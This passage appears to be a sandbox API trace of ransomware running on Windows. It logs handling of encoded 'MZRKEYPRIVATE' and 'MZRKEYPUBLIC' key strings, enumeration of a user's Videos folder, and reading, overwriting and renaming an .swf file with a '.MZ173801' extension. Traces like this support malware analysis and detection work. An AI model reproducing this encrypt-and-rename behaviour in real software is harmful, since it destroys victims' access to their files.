sKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0164.346] GetCurrentThreadId () returned 0xab4 [0164.346] GetCurrentThreadId () returned 0xab4 [0164.346] GetCurrentThreadId () returned 0xab4 [0164.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0164.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0164.346] GetCurrentThreadId () returned 0xab4 [0164.347] GetCurrentThreadId () returned 0xab4 [0164.347] GetCurrentThreadId () returned 0xab4 [0164.347] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Io wk8vMTXy-go.swf" (normalized: "c:\\users\\fd1hvy\\videos\\io wk8vmtxy-go.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.347] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0164.347] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.347] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x21ce [0164.347] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.347] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x21ce, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x21ce, lpOverlapped=0x0) returned 1 [0164.348] CloseHandle (hObject=0x278) returned 1 [0164.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Io wk8vMTXy-go.swf" (normalized: "c:\\users\\fd1hvy\\videos\\io wk8vmtxy-go.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.349] WriteFile (in: hFile=0x278, lpBuffer=0x24a4040*, nNumberOfBytesToWrite=0x21ce, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a4040*, lpNumberOfBytesWritten=0x19fa24*=0x21ce, lpOverlapped=0x0) returned 1 [0164.351] CloseHandle (hObject=0x278) returned 1 [0164.352] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\Io wk8vMTXy-go.swf" (normalized: "c:\\users\\fd1hvy\\videos\\io wk8vmtxy-go.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\Io wk8vMTXy-go.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\io wk8vmtxy-go.swf.mz173801")) returned 1 [0164.353] GetCurrentThreadId () returned 0xab4 [0164.353] GetCurrentThreadId () returned 0xab4 [0164.353] GetCurrentThreadId () returned 0xab4 [0164.353] GetCurrentThreadId () returned 0xab4 [0164.353] GetCurrentThreadId () returned 0xab4 [0164.353] GetCurrentThreadId () returned 0xab4 [0164.353] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50015410, ftCreationTime.dwHighDateTime=0x1d5ec54, ftLastAccessTime.dwLowDateTime=0xde0b4650, ftLastAccessTime.dwHighDateTime=0x1d5e856, ftLastWriteTime.dwLowDateTime=0xde0b4650, ftLastWriteTime.dwHighDateTime=0x1d5e856, nFileSizeHigh=0x0, nFileSizeLow=0x107b7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="K7frokp1X.avi", cAlternateFileName="K7FROK~1.AVI")) returned 1 [0164.353] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0164.353] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.353] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\K7frokp1X.avi" (normalized: "c:\\users\\fd1hvy\\videos\\k7frokp1x.avi"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50015410, ftCreationTime.dwHighDateTime=0x1d5ec54, ftLastAccessTime.dwLowDateTime=0xde0b4650, ftLastAccessTime.dwHighDateTime=0x1d5e856, ftLastWriteTime.dwLowDateTime=0xde0b4650, ftLastWriteTime.dwHighDateTime=0x1d5e856, nFileSizeHigh=0x0, nFileSizeLow=0x107b7)) returned 1 [0164.353] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\K7frokp1X.avi" (normalized: "c:\\users\\fd1hvy\\videos\\k7frokp1x.avi")) returned 0x20 [0164.353] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\K7frokp1X.avi", dwFileAttributes=0x80) returned 1 [0164.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0164.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8